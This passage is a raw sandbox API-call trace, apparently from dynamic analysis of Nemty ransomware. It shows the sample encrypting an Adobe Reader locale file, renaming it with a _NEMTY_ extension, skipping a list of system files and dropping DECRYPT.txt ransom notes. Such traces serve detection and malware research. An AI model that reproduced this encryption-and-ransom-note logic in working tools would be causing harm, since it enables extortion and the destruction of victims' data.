(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.POL", lpUsedDefaultChar=0x0) returned 11 [0181.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.POL", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.POL", lpUsedDefaultChar=0x0) returned 11 [0181.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.246] Sleep (dwMilliseconds=0x5) [0181.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1faeccd0, dwHighDateTime=0x1d561e8)) [0181.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1faeccd0, dwHighDateTime=0x1d561e8)) [0181.254] GetLastError () returned 0x0 [0181.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.254] GetLastError () returned 0x0 [0181.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.254] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.255] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.255] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.255] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="sRozNy7aCoGG3Kumspj0sf53GUrVXfx5aoAya4sGB8OlPPRp+UdUvd1qfc2yV/6q\r\nxW8fJJWISGLEydbnb3LzydbYFMoDwB3XGG3HREi76pwTaE/5hMcgCADXzk6mPNOr\r\ngRNMIyvwEQXRFO7sH6HxdxThLpeGfy7TpdoBcx28RD4Lt/lyzZi8xWdx/hz7ZBL1\r\n2WIQ4hkpaJFKJ8voz2gjoyADj5MyCrii3BYjmLvoDQVBDtcRwS/QUTiwWYBW2mxa\r\ncd7YAB4GTSvx+svkCfhU6d1CkONMZTqOKLx94HbRVgfLdoQrY+ezSZ8oJ+yZgOvz\r\n+6md8MQtQjjKtwGVBs1OUg==\r\n", pcchString=0x653e5dc) returned 1 [0181.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\WebLink.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\weblink.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.255] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29184) returned 1 [0181.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7200) returned 0x6352c48 [0181.255] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.255] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7200, lpOverlapped=0x0) returned 1 [0181.259] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.259] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7200, lpOverlapped=0x0) returned 1 [0181.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.259] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200 [0181.259] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.259] CloseHandle (hObject=0x2e8) returned 1 [0181.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.260] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\WebLink.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\weblink.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\WebLink.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\weblink.pol._nemty_kgobjgd_")) returned 1 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.260] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f62a0d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1f62a0d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f62a0d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0181.260] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0181.260] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0181.260] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0181.261] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0181.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0181.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0181.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0181.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0181.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0181.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0181.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0181.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0181.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0181.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.262] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0181.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.262] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0181.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.262] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f62a0d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1f62a0d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1f62a0d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0181.262] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0181.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0181.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0181.262] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2=".") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="..") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="...") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="windows") returned -1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="$RECYCLE.BIN") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="rsa") returned -1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="NTDETECT.COM") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="ntldr") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="MSDOS.SYS") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="IO.SYS") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="boot.ini") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="boot.ini") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="AUTOEXEC.BAT") returned 1 [0181.262] lstrcmpiW (lpString1="pt_BR", lpString2="ntuser.dat") returned 1 [0181.263] lstrcmpiW (lpString1="pt_BR", lpString2="desktop.ini") returned 1 [0181.263] lstrcmpiW (lpString1="pt_BR", lpString2="CONFIG.SYS") returned 1 [0181.263] lstrcmpiW (lpString1="pt_BR", lpString2="RECYCLER") returned -1 [0181.263] lstrcmpiW (lpString1="pt_BR", lpString2="BOOTSECT.BAK") returned 1 [0181.263] lstrcmpiW (lpString1="pt_BR", lpString2="bootmgr") returned 1 [0181.263] lstrcmpiW (lpString1="pt_BR", lpString2="programdata") returned 1 [0181.263] lstrcmpiW (lpString1="pt_BR", lpString2="appdata") returned 1 [0181.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt_BR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0181.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt_BR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pt_BR", lpUsedDefaultChar=0x0) returned 5 [0181.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt_BR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0181.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt_BR", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pt_BR", lpUsedDefaultChar=0x0) returned 5 [0181.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0181.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0181.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0181.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0181.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0181.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0181.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0181.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0181.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0181.265] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.265] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0181.266] CloseHandle (hObject=0x254) returned 1 [0181.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0181.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0181.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0181.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0181.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0181.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0181.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.267] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0181.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.267] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 